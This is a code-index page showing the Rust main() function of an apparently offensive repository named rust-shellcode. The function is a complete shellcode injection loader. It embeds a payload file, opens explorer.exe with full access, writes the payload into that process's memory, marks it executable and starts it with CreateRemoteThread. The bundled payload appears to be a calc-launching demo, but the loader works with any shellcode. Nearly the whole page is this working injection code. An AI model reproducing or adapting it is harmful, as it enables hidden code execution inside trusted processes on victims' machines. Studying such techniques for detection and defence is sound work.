MCPcopy Index your code
hub / github.com/b1nhack/rust-shellcode / main

Function main

create_remote_thread/src/main.rs:12–71  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

10
11#[cfg(target_os = "windows")]
12fn main() {
13 let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin");
14 let shellcode_size = shellcode.len();
15
16 let mut system = System::new();
17 system.refresh_processes();
18
19 let pid = system
20 .processes_by_name("explorer.exe")
21 .next()
22 .expect("[-]no process!")
23 .pid()
24 .as_u32();
25
26 unsafe {
27 let handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
28 if handle == 0 {
29 panic!("[-]OpenProcess failed: {}!", GetLastError());
30 }
31
32 let addr = VirtualAllocEx(
33 handle,
34 null(),
35 shellcode_size,
36 MEM_COMMIT | MEM_RESERVE,
37 PAGE_READWRITE,
38 );
39 if addr.is_null() {
40 panic!("[-]VirtualAllocEx failed: {}!", GetLastError());
41 }
42
43 let res = WriteProcessMemory(
44 handle,
45 addr,
46 shellcode.as_ptr().cast(),
47 shellcode_size,
48 null_mut(),
49 );
50 if res == FALSE {
51 panic!("[-]WriteProcessMemory failed: {}!", GetLastError());
52 }
53
54 let mut old = PAGE_READWRITE;
55 let res = VirtualProtectEx(handle, addr, shellcode_size, PAGE_EXECUTE, &mut old);
56 if res == FALSE {
57 panic!("[-]VirtualProtectEx failed: {}!", GetLastError());
58 }
59
60 let func = transmute(addr);
61 let thread = CreateRemoteThread(handle, null(), 0, func, null(), 0, null_mut());
62 if thread == 0 {
63 panic!("[-]CreateRemoteThread failed: {}!", GetLastError());
64 }
65
66 let res = CloseHandle(handle);
67 if res == FALSE {
68 panic!("[-]CloseHandle failed: {}!", GetLastError());
69 }

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected